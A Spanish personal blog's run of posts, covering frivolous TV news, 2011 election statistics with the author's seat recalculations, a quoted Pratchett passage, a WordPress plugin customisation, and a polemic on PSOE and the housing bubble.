Tienda de ultramarinos - Un lugar donde dejar reflexiones e inquietudes de todo tipo; un poco de todo, como en una de esas antiguas tiendas de ultramarinos.
logo Tienda de Ultramarinos

Noticias de primera

De un tiempo a esta parte (aunque entonces lo achacaba a la pausa veraniega) llevo observando una constante frivolización de las noticias tratadas en los telediarios, hasta el punto de que tras la media docena de noticias de rigor sobre lo acaecido en el país se muestra una deriva de sucesos y acontecimientos chorras muy alejados del concepto tradicional de noticia o periodismo; y que lo normal sería tratarlos en el puñado de programas para chorradas que tienen todas las cadenas donde encajarían muchísimo mejor.

No hablo ya de aquellas noticias advirtiendo con tintes apocalípticos que nieva en invierno, hace 40º en verano, llueve en primavera o, el éxito de esta semana, que hay niebla en noviembre (el mes al que, casualidades de la vida, los franceses llamaban brumario). De éstas llevo tiempo riéndome y criticándolas.

Me refiero a sucesos acaecidos en pueblos perdidos de China, Australia o Estados Unidos, que probablemente incluso suenen recónditos en Pekín, Sidney o New york. Como una chica en ropa interior buscando su perrito, una pelea entre conductores que han tenido un accidente, o el tropiezo de un niño gordo.

El único aliciente para los noticieros cuando suceden cerca es que pueden enviar un reportero y rellenar diez minutos muy barato con testimonios de los vecinos: “Me gusta mucho el centollo, pero en casa no compramos mucho“; “Sí, llevamos una semana de chubascos ¡Todo el día con el paraguas!“; “¡Ay hija mía! Yo de verdad que no había visto algo así en toda mi vida“; “La verdad es que a veces piso un poco el acelerador, pero en general conduzco con cuidado“.

Se caracterizan, además de la carencia de información y utilidad que nos aportan, en que nunca suelen estar grabados por profesionales. Generalmente son las cámaras de seguridad de algún negocio, o del tráfico, o también improvisados testigos. No es que yo sea un experto en calidad audiovisual, es que los videos que ves muy bien en Youtube (fuente de muchas de sus imágenes) en la pantalla de tu ordenador, al publicarlo en televisión se convierte en un enorme y difuso pixel.

Son los típicos videos que antiguamente descargábamos en El Rellano, que cualquier día vemos en Yonkis o que pueden ser tranquilamente portada de Meneame, incluso en éste último hay una proporción más alta de noticias de calidad que en cualquier informativo de hoy en día.

Para ilustrar esta entrada dejo algunas de las que más me han cautivado (no las he visto en directo porque es imposible seguir todos los telediarios, pero me basta con encontrarlas en la misma sección que otras que sí he visto):

El colmo fue ver a una Miss Algo contestando la típica imbecilidad, para aprovechar a continuación y cascar una vez más las tan manidas intervenciones de otras convocatorias que ya nos sabemos de memoria como la de “Qué sabes de Rusia

Hay días que no sé si estoy viendo las noticias o Videos de primera.

Cifras de las Elecciones 2011 a destacar

1) Durante este año se reformó Ley Electoral para poner trabas a los nuevos partidos políticos que quisiesen concurrir en las elecciones exigiendo recoger avales de los votantes unas semanas antes de comenzar la campaña electoral. Esta ley fue aprobada conjuntamete por PSOE, PP, CiU y PNV, que cuando les conviene bien amigos que son todos. Gracias a esta reforma sólo se han proclamado 593 candidaturas al Congreso de los Diputados frente a las 1111 de hace cuatro años. Casi la mitad de las opciones se eliminaron de un plumazo.

2) Los partidos que no son PP ni PSOE han obtenido 6 135 003 votos, es decir, el 25,65%. Sin embargo, sólo han conseguido 54 escaños, el 15% de los 350 disponibles. Mientras tanto, el PSOE a pesar de tener sólo unos pocos votos más (el 28,73%) tienen 110 escaños: Más del doble. El PP con ni siquiera el doble de votos (44,62%) tiene 186 diputados: más del triple. Apuntado por andaluenfuresio.

3) El PP va a gobernar con una cómoda mayoría absoluta que le permitirá hacer prácticamente cualquier cosa, pero sólo representará al 31.57% de los españoles con derecho a voto. Recordadlo cuando defiendan que la mayoría de los españoles les apoyan. Será la segunda mayoría más grande de la democracia. Apuntado por P.J..

3.5) ¡Cómo no me había dado cuenta? El PP tiene mayoría absoluta, pero ha obtenido 458 642 votos menos que el PSOE en 2008. Esto es posible debido a que ha habido más abstencionismo y el porcentaje del PP ahora es mayor a pesar de ser menos votos. También se traduce en muchos más escaños por la aplicación de la Ley D’Hont sin otra alternativa con similares votos.

4) En el Senado, ese gran olvidado de las estadísticas electorales, el PP acostumbra siempre a obtener mayorías, pero la de este año ha sido de órdago. Si en 2008 eran 101 senadores frente a 88 del PSOE, este año hay 136 frente a 48. En total hay 208 senadores

5) Pero el Senado no sólo está olvidado, sino denostado por la mayoría de los españoles. Las voces implorando que se cierre y se abandone el modelo bicameral (o se reforme sustancialmente) cada vez son más numerosas, y éste año de recortes y austeridad más. Las papeletas nulas y en blanco han superado los 2 millones; más del doble porcentualmente que en 2008.Y no me creo que se pase de 500mil nulos a 1 millón doscientos mil porque “la gente no sabe votar al Senado“; aunque habrá quién lo utilice como defensa.

España es azul

6) Los requisitos para formar grupo parlamentario son los siguientes:

  • Se requieren al menos 15 diputados o 10 senadores.
  • En caso de no alcanzar dicho mínimo, una formación política, podrá formar grupo parlamentario a partir de 5 diputados, siempre y cuando se posea un 15% de los votos en las circunscripciones donde se haya presentado o un 5% de los votos en el conjunto de la nación.

Conseguir ese 5% son 1 213 633 votos. Observando estas últimas votaciones, esto provoca situaciones curiosas:

  • Por un lado, UPyD, que se presenta por toda España, tiene cinco diputados y sus 1 140 242 votos suponen el 4,69% por lo que no tienen derecho a grupo propio.
  • PNV con cinco diputados y 323 517 votos consigue grupo parlamentario frente a los siete diputados de Amaiur y sus 333 628 votos. ¿Cómo es esto posible? El PNV sólo se presenta por el País Vasco, mientras que Amaiur también se presenta por Navarra.
    • PNV ha conseguido entre el 18% y el 32% en las tres provincias vascas.
    • Amaiur similar, pero en Navarra se ha quedado en el 14,86%. Le han faltado 437 votos.
    • Si sumamos todos los votos de Amaiur y los dividimos entre los votos válidos en las cuatro provincias… obtienen el 22% del total. Aunque ese 15% parece ser que se computa por candidatura independientemente.

Claro, que luego la formación de grupos parlamentarios es un putiferio en el que además de alianzas varias se ha llegado incluso a prestar diputados de un partido a otro, lo cual es algo que no me termina por entrar en la cabeza (el PSOE a CC en 2004 le cedió dos diputados para alcanzar los cinco requeridos). Merece la pena leer este artículo destacando algunas jugarretas pasadas.

7) FE y de las JONS ha pasado de 14 023 votos a 2.901 y Democracia Nacional de 12 836 a 1 858. No se sabe si porque sus votantes han pasado a mejor vida, han sido absorbidos por el PP o antes rascaban de más sitios pero la ley de los avales les ha limitado a presentarse por menos.

8) En Asturias PSOE y PP han empatado con tres diputados, PAC e IU han ganado otro. Si Álvarez Cascos no se hubiese separado del Partido Popular y y supusiésemos que todos los votos que se ha llevado su escisión los habría obtenido su anterior partido: PP habría obtenido cinco diputados, PSOE dos, e IU el restante.

9) En las Elecciones Locales que se celebraron en mayo de 2011 el PSOE obtuvo 6 276 087 votos, una mínima diferencia con los 6 973 880 de estas elecciones generales. Históricamente, PPSOE siempre obtienen menos votos en las locales que en las generales; por ejemplo, el PP ha obtenido casi dos millones y medio de votos más que en mayo. El incremento de votos del PSOE con respecto a las últimas elecciones de 2007 es de 552 683.

10) Todavía el 71,82% de los españoles delegan su opinión y voto en en unos señores que ni siquiera han tenido el derecho de elegir (salvo honrosas excepciones como EQUO donde hicieron primarias libres en cada candidatura). Y encima la mayoría se sienten satisfechos para los próximos cuatro años de su nula participación en algo que dicen llamar democracia.

11) Según mis cálculos, si aplicamos la Ley D’Hont a toda España como una única circunscripción sin eliminar ningún candidato, obtendríamos el siguiente Congreso en el que el PP no tendría mayoría absoluta y estarían representados más justamente otros partidos. El incremento de IU y UPyD es notable, pero más lo es EQUO, que con 200 000 votos hoy no tiene diputados pero que le corresponderían tres. A continuación copio mis resultados y os dejo enlace para que comparéis con el que ha salido con la trampa de la circunscripción provincial.

  • PP: 164 diputados
  • PSOE: 105 diputados
  • CiU: 15 diputados
  • IU-LV: 25 diputados
  • Amaiur: 5 diputados
  • UPyD: 17 diputados
  • EAJ-PNV: 4 diputados
  • Esquerra: 3 diputados
  • BNG: 2 diputados
  • CC-NC-PNC: 2 diputados
  • Compromís-Q: 1 diputados
  • FAC: 1 diputados
  • GBAI: 0 diputados
  • EQUO: 3 diputados
  • PACMA: 1 diputados
  • Eb: 1 diputados
  • PA: 1 diputados

12) Hay mucha gente que defiende que se contabilice el abstencionismo mediante escaños vacíos en el Parlamento; luego que se las apañasen los diputados para formar gobierno. Como curiosidad, he hecho el mismo cálculo que antes pero añadiendo la abstención como fuerza política. Con estas condiciones quedaría un Congreso como el que sigue:

  • Abstencion: 104 escaños vacíos
  • PP: 116 diputados
  • PSOE: 74 diputados
  • CiU: 10 diputados
  • IU: 18 diputados
  • Amaiur: 3 diputados
  • UPyD: 12 diputados
  • EAJ-PNV: 3 diputados
  • Esquerra: 2 diputados
  • BNG: 1 diputados
  • CC-NC-PNC: 1 diputados
  • Compromis-Q: 1 diputados
  • FAC: 1 diputados
  • GBAI: 0 diputados
  • EQUO: 2 diputados
  • PACMA: 1 diputados
  • Eb: 1 diputados

13) El censo de 2011 cuenta con 706 999 votantes más que en 2008. Abstención + nulos + blancos eran entonces 8 807 881 y han pasado a 10 361 756, una diferencia de 1 553 875. Por cada nuevo votante, dos no han votado a ninguna candidatura.

Gráfica abstencionismo comparado con PP y PSOE
Gráfico por P.J. de Ciudad de Historia

Para terminar, dejo algunos enlaces útiles donde comparar resultados de forma gráfica o textual:

  • Sencilla web para comparar detalladamente resultados electorales de todas las convocatorias de la democracia.
  • Mapa coloreado por municipios de las locales de mayo de 2011.
  • Geometría del voto. El tercer gráfico hará las delicias de los amantes de la representación de estadísticas: muestra la evolución de diputados de cada partido por provincias y por años.
  • Los gráficos de El País me suelen gustar bastante, pero todavía no han publicado nada. ¡Y lo que nos duele! Espero que veamos algo los próximos días.

Cerebro de silicio

—¿Es que no lo ves? Cerebro de silicio impuro. Problemas con la disipación del calor. La temperatura diurna es demasiado alta, y eso hace que la velocidad a la que se efectúa el procesamiento vaya reduciéndose, con el resultado final de que el cerebro termina quedando completamente detenido cuando el clima es más cálido. Entonces el troll se convierte en piedra hasta que llega el momento en que anochece, i.e., hasta el momento en que una temperatura más baja o, almenos, losuficientementebaja, hacequeelcerebrooperemásdeprisa…
—Creo que no tardaré en helarme de frío —dijo Cuddy.

Los trolls habían evolucionado en lugares altos, rocosos y por encima de todo fríos. Sus cerebros de silicio estaban acostumbrados a operar a temperaturas bajas. Pero en las llanuras fangosas, la acumulación de calor hacía que esos cerebros funcionaran cada vez más despacio y los volvía tontos. No era que solo bajaran a la ciudad los trolls estúpidos. Los trolls que decidían bajar a la ciudad solían ser muy listos… pero se volvían estúpidos.

Ahora su cerebro se estaba aproximando a la temperatura de funcionamiento ideal. Desgraciadamente, esa temperatura quedaba bastante cerca del punto óptimo de muerte para un troll. A medida que la temperatura iba bajando, la eficiencia de su cerebro se incrementaba todavía más. El cerebro de Detritus necesitaba algo que hacer.

Calculó el número de ladrillos que había en la pared, primero por grupos de dos y luego por decenas y finalmente por grupos de dieciséis. Los números se apresuraban a formar y desfilaban por su cerebro en una aterrorizada obediencia. La división y la multiplicación fueron descubiertas. El álgebra fue inventada y proporcionó una interesante diversión durante uno o dos minutos. Y entonces Detritus sintió disiparse la niebla de los números y alzó la mirada y vio el centelleo lejano de las montañas del análisis matemático.

[…]

Cuando [sus compañeros] por fin consiguieron abrir la puerta principal, ya había un montón de gente alrededor de ellos. Cayeron trozos de hielo sobre las piedras con un suave tintineo, y hubo una súbita ráfaga de aire superfrío. La escarcha cubría el suelo y las hileras de cuartos de carne colgados en su viaje de vuelta a través del tiempo. También cubría a un gran bulto con la forma de Detritus que estaba sentado en mitad del suelo.

Las paredes interiores del almacén estaban cubiertas de números. Ecuaciones tan complejas como una red neural habían sido arañadas en la escarcha. En algún punto del cálculo el matemático había cambiado el empleo de números por el de letras, y luego ni siquiera las mismas letras habían sido suficientes: paréntesis como jaulas encerraban expresiones que eran a las matemáticas normales lo que una ciudad es a un mapa.

Luego las ecuaciones iban volviéndose más simples a medida que se aproximaban a la meta; más simples y, con todo, conteniendo en el fluir de las líneas de su simplicidad una complejidad espartana y maravillosa.

Hombres de armasTerry Pratchett

Ininite Scroll + Automatic Text Expander

Dos de los detalles en los que más me he esforzado y que más me gustan del nuevo diseño son que tenga scroll infinito, de modo que no hace falta clicar en página atrás para ver viejos posts (tanto en la página principal como en categorías), y que las entradas aparezcan contraídas con posibilidad de extenderse en el mismo lugar.

Activar el scroll infinito es muy fácil en WordPress utilizando el plugin Infinite Scroll, que funciona perfectamente y es sencillísimo de configurar. Únicamente hay que decirle bajo qué clases CSS están los posts y el link de navegación atrás. Nada más.

Por otro lado, para facilitar las cosas decidí que mostrar unos pocos párrafos sería lo ideal. Busqué y busqué, pero no fui capaz de encontrar nada que cortase los artículos con posibilidad de expandirlos. Creo que la única alternativa ahora mismo en WordPress es mandar que aprezca un extracto (the_excerpt()) en lugar de todo el contenido (the_content()), con el cuál eliges un número de caracteres que quieres que se muestren.

La función propia de wordpress parece ser bastante probre y hay muchos plugins mejorándola, evitando que corte palabras enteras, que corte etiquetas HTML, etc. Pero nada de esto hacía lo que yo quería, pues obliga al lector a abrir el post y cargar otra página (de lo cual algunos estarán encantadísimos porque les suma visitas; pero mi intención es que me lean, no hacerme pajas con las estadísticas de páginas visitadas).

De ese modo, terminé por bajarme Text Expander, un plugin que permite contraer ciertas partes de un post simplemente escribiendo entre corchetes EXPAND y /EXPAND rodeando al texto a ocultar. Parecía la solución… pero hubiera supuesto añadir a mano en cada una de todas las entradas del blog esas etiquetas, lo cual es una tarea titanica. Además de que si algún día decido cambiarlo supondría un esfuerzo equivalente.

Por eso terminé por empezar a cacharrear con el código del plugin para hacerme algo a la medida. Ahora, para cada entrada que se carga se cuentan los párrafos que tiene, y si son más de cinco, le digo que me añade el EXPAND entre el segundo y el tercero. En realidad no sólo tiene en cuenta párrafos, sino también listas, citas e imágenes. Parecía sencillo, pero la cosa se empezó a complicar cuando me di cuenta de que había que tener mucho cuidado con los párrafos dentro de un blockquote, o las sublistas dentro de listas (ul); de lo contrario, al perderse las etiquetas de cierre, se desestructuraba todo el blog. Creo que finalmente he sido capaz de solucionarlo, pero como puede haber alguna combinación que no haya tenido en cuenta os pediré que si en algún momento descubrís algún error me lo comuniquéis.

Otro problema que me costó identificar fue que las nuevas entradas obtenidas al deslizar la página hasta el final se cargaban expandidas, de modo que pensaba que no estaba aplicandose la conversión allí. Al final me di cuenta de que la contracción se aplicaba al cargar la página con una línea de Javascript, pero esto no funciona con las nuevas al estar ya “cerrada” la web. Afortunadamente Infinite Scroll incluye un apartado en su configuración que permite al usuario añadir código Javascript que se invoque una vez el nuevo contenido se carga, de modo que con tres o cuatro líneas solucioné el problema.

Creo que es algo bastante útil y que quizás más gente necesite algo así, de modo que he pensado que quizás podría darle un retoque y publicarlo como plug-in; aunque nunca lo he hecho así que no tengo ni idea de si es un proceso sencillo. ¿Alguien tiene experiencia en plugins de WordPress y puede darme un consejo?

Por cierto, pensé que sería interesante dejar la primera entrada de la página principal directamente extendida, pues al ser la última publicada será más probable que la gente entre a leer esa. ¿Os gusta así o la preferís contraída como el resto?

Lo sabían, y no hicieron nada

En este artículo pretendo desmontar la falsa excusa esgrimida por la clase política de que nadie podía prever el fin de la burbuja inmobiliaria con sus dramáticas consecuencias, o incluso de la existencia de la misma, tantas veces negada o presentada eufemísticamente como un ciclo alcista o sobrevaloración.

Para ello, citaré artículos de altos cargos del Partido Socialista cuando estaban en la oposición durante los años 96-2004 en los que veían muy claro el problema de la burbuja que se estaba gestando en nuestro país, y los compararé con las medidas (nulas) que aplicaron una vez llegaron al poder. No citaré ningún artículo posterior por la sencilla razón de que, pese a haber escrito de forma prolífica antes de las elecciones de 2004, una vez estuvieron frente al Gobierno —y a la vista de las jugosas cuentas— dejaron de considerarlo un problema y prefirieron seguir alimentando la vorágine del ladrillo. (En realidad el último artículo “duro” es de Miguel Sebastián en junio de ese año, dos meses después de la investidura; quizás antes de decidir que preferían dejar las cosas como estaban.)

Me centro en la actividad del PSOE puesto que ha demostrado un insuperable cinismo al criticar la burbuja inmobiliaria mientras estaba en la oposición, hasta el punto de prometer combatirla en su programa electoral de 2004 (véase página 128 del mismo), y luego se quedó de brazos cruzados continuando la política del Partido Popular en esta materia y dejando que explotase por sí misma de la forma abrupta y salvaje en que lo ha hecho en lugar de tomar medidas que la suavizasen; más aún, negando hasta el último momento la crisis que ya estaba llegando y dilapidando el dinero público en medidas populistas y vacías de toda consideración socialista.

Por supuesto la burbuja fue potenciada por el PP durante su gobierno de 1996-2004, pero eso forma parte de su política y del neoliberalismo al que representan y no es lo que vengo a criticar (aunque también negaran en público su existencia), pues daría para otros discursos; sino la mentira, el cinismo, la soberbia y la sinvergonzonería de quienes se hacen llamar, falsa y erróneamente, Socialistas y Obreros —nombre por el que, si hubiera justicia en este país, se les debería denunciar por publicidad engañosa—.

Aclarado este punto, comencemos. Copio los fragmentos relevantes y enlazo a cada artículo al final de la cita del mismo, especificando la fecha. Como se ve, también los muestro en orden cronológico. Las negritas son mías.

Narbona, que comparecía en conferencia de prensa junto a Fernando Morán, alertó ayer al mundo empresarial madrileño sobre el fin de la presente fase económica -“la actual burbuja especulativa puede explotar en un año o año y medio”, dijo- e invitó a este sector a participar en los proyectos de construcción de viviendas de protección oficial que su coalición preconiza.

“La burbuja especulativa puede explotar en un año”, advierte Cristina Narbona (09/06/1999)

Desde 1998, el precio medio de una vivienda en España ha subido un 88%, un ritmo promedio anual del 13,5%. En ese mismo periodo, los precios de consumo lo hicieron a una tasa anual del 3%. Ello supone un aumento del precio real o relativo de la vivienda del 10,5% por año. […]

¿Qué tiene de malo que suban los precios de la vivienda? En principio parece que nada, pues se trata de un aumento de la riqueza generalizado, dado que un 85% de la vivienda en España es en propiedad. Pero hay dos objeciones. La primera, que los precios pueden caer en algún momento del futuro, provocando un “efecto riqueza” negativo. La expectativa de dicha caída podría provocar una venta de viviendas, alimentando la espiral contraria. La segunda es que el endeudamiento hipotecario ha alcanzado tal nivel que una caída de dichos precios podría afectar negativamente a la estabilidad del sistema financiero.

¿Qué se puede hacer frente a este fenómeno en un país en el que parece que ya hay exceso de ladrillo y no se puede prometer más construcción masiva? Lo primero, hablar de ello. Mencionar la burbuja puede frenar las expectativas de revalorización y, con ellas, la demanda. En España, el Gobierno ha mostrado irritación al oír hablar de la burbuja inmobiliaria, un tic antidemocrático que recuerda al del Gobierno chino, que de entrada negó el SARS y sólo pudo empezar a atajarlo con su reconocimiento público.

Miguel Sebastián – El Ladrillo y la burbuja (22/06/2003)

Frente a todos, el ministro Rato ha declarado que “los precios de la vivienda en España no están artificialmente altos” y ha emprendido una campaña contra la idea de que hay una burbuja inmobiliaria en España. Como nadie puede pensar que Rato no vea lo que ve todo el mundo, hay que buscar la explicación en el miedo con que cualquier responsable de Economía ve acercarse el final de un modelo de crecimiento basado en el boom inmobiliario y en la explosión del endeudamiento de las familias. Y es que, cuando este patrón de crecimiento llegue al final, empezarán a aparecer las consecuencias negativas que acompañan al descenso de la burbuja. Cuando los precios de la vivienda empiecen a caer, la gente echará de menos lo bien que se vivía cuando subía de precio.

Miguel Ángel Fernández Ordóñez – Los problemas del final de los problemas (04/07/2003)

Zapatero acusó al PP de haber generado una “burbuja inmobiliaria” con una política basada “en el ladrillo y en la especulación” que está poniendo en riesgo al conjunto de la economía española porque puede estallar. El líder del PSOE destacó que, en 1996, un ciudadano con ingresos medios podía comprar una casa con el salario íntegro de cuatro años, mientras que ahora se requiere el de siete años.

Zapatero denuncia el fracaso del PP en materia de vivienda (y en El Pais) (4/10/2003)

La burbuja inmobiliaria está amenazada por una situación de “máximo riesgo” debido a la combinación de exceso de viviendas y precios desorbitados, según advirtió ayer el responsable de economía del PSOE y probable asesor del próximo Gobierno, Miguel Sebastián.

Sebastián advierte del máximo riesgo de burbuja inmobiliaria (25/03/2004)

La actual burbuja inmobiliaria obedece “en buena parte” a las deducciones fiscales por compra de vivienda. El director de la oficina económica de la Presidencia del Gobierno, Miguel Sebastián, irrumpió ayer con esta idea en el debate sobre los precios de la vivienda y culpó al anterior Gobierno del PP por mantener las deducciones en la reforma del IRPF de 1998. Sebastián se refirió a esta decisión como “el mayor error en política económica del PP” y lo vinculó directamente con la escalada de precios de los inmuebles. “Si no se hubiera proseguido con esa política, probablemente nos hubiéramos ahorrado buena parte de esa sobrevaloración [de la vivienda], como la llama el Banco de España”, aseguró Sebastián ante una audiencia de empresarios y directivos reunidos por la Asociación para el Progreso de la Dirección..

El asesor económico de Zapatero culpa al PP de la ‘burbuja’ inmobiliaria por no suprimir las deducciones (23/06/2004)

La autora del primer artículo, Cristina Narbona, fue Ministra de Medio Ambiente en la legislatura 2004-08. Durante su mandato aplicó por primera vez la Ley de Costas (1988) que hacía legal la demolición de construcciones ilegales en la zona de dominio público marítimo-terrestre de los litorales. Ésta, que podría considerarse la única acción —aunque tenue— tomada por el gobierno socialista contra la especulación (es un hecho que el litoral es la zona más afectada por la especulación inmobiliaria), se torció radicalmente durante la siguiente legislatura cuando Narbona fue sustituida y se aprobó, de tapadillo y sin pasar por el Congreso, una reforma de la Ley de Costas para permitir a los dueños de las casas construidas en zonas ilegales que las vendieran, cosa que la anterior ley prohibía (lo cual las revalorizó).

Las estadísticas que aporta Miguel Sebastian (actual ministro de Industria, pero asesor económico de Zapatero en su anterior legislatura) en su tribuna del El País son asombrosas ya en aquellas fechas, recomiendo leer el artículo (el segundo que he enlazado, el de 2003). Entonces ya criticaba que la deducción por vivienda estaba alimentando esta crisis entre otras cosas, pero a su partido no se le ocurrió eliminarla cuando llegó al poder un año después, sino que tuvimos que esperar a 2009/10, con la burbuja más que reventada.

Miguel Sebastián, una vez del lado del gobierno, dijo en 2006 que en España cabían 22 millones de inmigrantes más. Sin entrar en debates sobre si las fronteras han de estar abiertas o cerradas (o no existir), nadie puede negar que a la inmigración se le ha dado carta blanca durante la última docena de años precisamente porque hacía falta mano de obra para el boom inmobiliario, y porque lo alimentaba al necesitar estos mismos inmigrantes un hogar dónde vivir. Hacer una afirmación como esa en 2006 (cuando la venta de pisos comenzó a desacelerar) equivale a negar que exista ninguna burbuja, pues una burbuja, por definición, termina reventando. Una burbuja y una explosión que, como hemos comprobado, él mismo vio claramente mientras no gobernaba su partido.

M. A. Fernández (tercer artículo) también es un destacado economista del PSOE, que ya fue Secretario de Estado de Economía en la legislatura 1982-86. En 2004 era secretario de Estado de Hacienda y Presupuesto hasta que en 2006 fue nombrado Gobernador del Banco de España, cargo que ostenta en la actualidad. En septiembre de 2007, preconizando el esperpento de gasto y promesas vacuas que implicarían las elecciones, solicitó a Zapatero en una comparecencia en el Congreso que no derrochase el superávit, sabiendo que era mejor guardarlo para cuando viniesen las vacas flacas que malgastarlo en medidas populistas para ganar unos cuantos electores.

El gobernador del Banco de España dijo que no iba a criticar ninguna medida concreta, pero recomendó a los partidos que “cuiden y midan mucho” sus promesas electorales para evitar que se pierda el superávit. Este exceso de recaudación, cifrado en 17.575 millones de euros, “es un activo importantísimo, sobre todo en momentos como éstos, en los que no se sabe el impacto final que tendrá la crisis de liquidez en todas las economías, incluida la española”.

¿Buscas casa? Keli Finder te encamina

Como adelantaba antes, todos estos artículos no eran opiniones individuales de destacados miembros de la cúpula socialista, sino que estaba incluido claramente en el programa electoral con el que concurrían a las elecciones de 2004; aunque como todo el mundo sabe los programas electorales en este país son para limpiarse el culo, siendo un más que claro caso del prometer hasta meter, y una vez metido olvidar lo prometido.

El fracaso de la política de vivienda y suelo del PP es evidente: a pesar de la elevadísima oferta de viviendas nuevas durante el periodo 1998-2003, en dicho periodo el precio de la vivienda se ha incrementado cinco veces más que los salarios, dificultando, de forma creciente, el acceso a la vivienda de los jóvenes y de las familias de menores ingresos, y provocando un rápido aumento del endeudamiento de los españoles.

El acceso a una vivienda digna, a precio asequible, en una ciudad más habitable y en un territorio más equilibrado, es un derecho consagrado en la Constitución. El principal objetivo del PSOE es, en colaboración con las CCAA y los Ayuntamientos, hacer efectivo ese derecho, mediante una

política permanente de vivienda y suelo, superando todo enfoque coyuntural, de forma que ningún español tenga que comprometer más del 30% de su renta para disfrutar de una vivienda digna (nueva o usada, en propiedad o en alquiler), y ubicada en un entorno habitable que permita la adecuada satisfacción de sus necesidades básicas.

El PSOE se compromete a luchar contra la especulación, favoreciendo la corresponsabilización de los ciudadanos, reforzando el control público del urbanismo y la penalización de la corrupción, modificando las normas que favorecen la especulación, y fomentando la vivienda protegida y el control sobre la misma.

En VPO prometían la construcción de 180 000 al año, pero sólo llegaron a las 95 000 en su mejor año (2007); sabiendo que en 2003 fueron 70 000 tampoco es un incremento tan grande. No es un incremento en absoluto cuando se compara con el aumento de construcción de vivienda y se ve que ambas cifras aumentan en el mismo porcentaje (en 2003 son 620mil pisos en total y en 2006 760mil). Tras mucho rato buscando tablas con estas cifras por la red, al final  las he encontrado perfectamente detalladas en el INE, bendita página. Se corresponden obviamente a la vivienda iniciada, que es la relevante a la hora de valorar las iniciativas gubernamentales.

Aparte de la VPO hay muchas otras medidas que se podían aplicar para paliar la especulación como fomentar el alquiler; de hecho, en el programa electoral afirmaban textualmente «Pretendemos elevar el porcentaje de viviendas en alquiler del 11% actual al 20% del total del parque existente». A día de hoy, según la Encuesta de Calidad de Vida publicada por el INE hace dos semanas, hay un 11,8% de personas viviendo en régimen de alquiler en nuestro país.

Para este fomento del alquiler podrían haber eliminado la deducción por compra de vivienda ya en 2004 y no haber esperado a 2010; también tuvimos que esperar al 1 de enero de 2008 para ver una ayuda en el alquiler a menores de 35 años en lugar de haberla aprobado al momento de llegar al poder. Lo tenían claro a la hora de escribir el programa, pero no a la hora de ejecutarlo.

Otras medidas también prometidas para frenar la especulación y fomentar el alquiler pero que tampoco se llevaron a cabo fue el aumentó los impuestos sobre las viviendas deshabitadas o a las segundas viviendas.

En toda esta sucesión de promesas incumplidas, posibles soluciones no aplicadas y completo inmovilismo ante la impasible escalada de precios, el Ministerio de Vivienda, creado para colocar a más amigotes a chupar del bote paliar el problema reconocido del acceso a la vivienda, tuvo las dos ideas definitivas, ambas paradigmas claros del hacer político español; dos iniciativas que, como digo, resumen brillantemente todos los intentos anteriores y posteriores de encontrar una solución.

Primero, en abril de 2005 llegaron a la conclusión de que si una vivienda digna era muy cara, lo mejor era encerrar a la gente en zulos de 30 metros cuadrados llamados «soluciones habitacionales». Como nos tienen acostumbrados los políticos españoles, una medida únicamente enfocada a camuflar las estadísticas; «servirán para moderar el precio de la vivienda» dijo la ministra Trujillo. Obviamente si pasamos de comprar pisos de 60 ó 90m², a otros de 30m², el precio de la vivienda tiene que bajar por huevos, pero nadie habla del precio por metro o de la calidad de la misma.

La segunda iniciativa me sigue apasionando todavía hoy, cinco años más tarde. Me tiene cautivado pese a que la mayoría de la gente a la que se la menciono no se acuerda en absoluto. Aunque fuera en conjunción con el Ministerio de Vivienda, el verdadero terrorista ideológico de tan magna obra es el mismo Consejo de la Juventud que ya en enero de 2005 nos deleitó con el Referendum Plus, una inigualable campaña para animar a los jóvenes a votar la Constitución Europea (y que tampoco recuerdan muchos).

La imagen que este Consejo tiene de la juventud la describe acertadamente Ignacio Escolar —en una de esas raras ocasiones en las que puedes estar de acuerdo con él sin necesidad de estar afiliado PSOE— «esa gente rara que se pone piercings, bebe kalimotxo y repite “mola” cada dos frases»; no me extrañaría que los miembros del CJE ya fuesen viejos cuando se fundó este organismo en 1983. Tampoco me sorprendería que fuesen los mismos que han perpetrado la bebida energética de Rajoy consistente en zumo de manzana. Y si no son culpables del rap Yo pongo condón, poco les faltará porque sigue las mismas técnicas carcas de acercarse a la juventud (y que a la postre tuvieron problemas legales por plagiar la canción). Espero, para los amantes de lo cutre y bizarro como yo, que encarguen nuevas campañas al CJE; al principio te cabreas de que se gaste dinero público en semejantes despropósitos, pero cuando vuelves a verlo al cabo de los años no puedes sino reirte a gusto y hasta los recuerdas con nostalgia.

Bien, esta otra iniciativa de la que hablaba, el segundo y último intento del Gobierno por solucionar el problema de la vivienda fue el Keli Finder, una especie de buscador de pisos presentado como unas alpargatas, dando a entender que si alguien quería encontrar una vivienda a un precio que no le hipotecase de por vida iba a tener que gastar suela. No era broma, encontrar una vivienda en aquella época sin precios que te arruinaran para siempre hubiera requerido andar hasta cruzar la frontera.

No sé cómo de buena sería la información que otorgaba este buscador, pero debido al envoltorio en el que fue presentado nació muerto: nadie se lo tomó en serio. Y eso que no me cabe ninguna duda de que se invirtió muchísimo más en la campaña de marketing que en el proyecto en sí, creando hasta una cuña de gomaespuma, politonos para el móvil y 10 mil pares de zapatillas. Y tiene delito que, además de gastarse más en la forma que en el contenido, precisamente el envoltorio sea lo que mate el producto antes de conocerlo.

En resumidas cuentas, todo lo que este gobierno fue capaz de hacer para solucionar el problema de la vivienda cuando estuvo en su mano fue legalizar las casas de 30m² y animar a los jóvenes a patearse las calles.

No contentos con no haber hecho nada, todavía el 24 de abril de 2007 tuvieron la desvergüenza de afirmar lo siguiente:

El Gobierno ha negado rotundamente que la Bolsa española se encuentre en una situación “que pueda ser catalogada de desplome” y afirma que en ningún caso se puede hablar de que se “desinfle ninguna burbuja inmobiliaria”.

Ya de por sí, el uso de la expresión «ninguna burbuja inmobiliaria» implica la negación de la misma; que manda muchos cojones a estas alturas de la película. Si, además, aprovechamos para echar un vistazo a la Bolsa, veremos que ese día no era sino el inicio de una larga caída desde los 14 913,30 puntos de entonces (seis meses después con 13 965,50 Zapatero haría unas todavía más vergonzosas declaraciones) que se prolongaría hasta el 9 de marzo de 2009 con 6817,40 puntos. Una “correción” o “desajuste”, como lo denominaba entonces el PSOE, del 55%, casi nada oiga. Hoy hemos cerrado en los 8596,40.

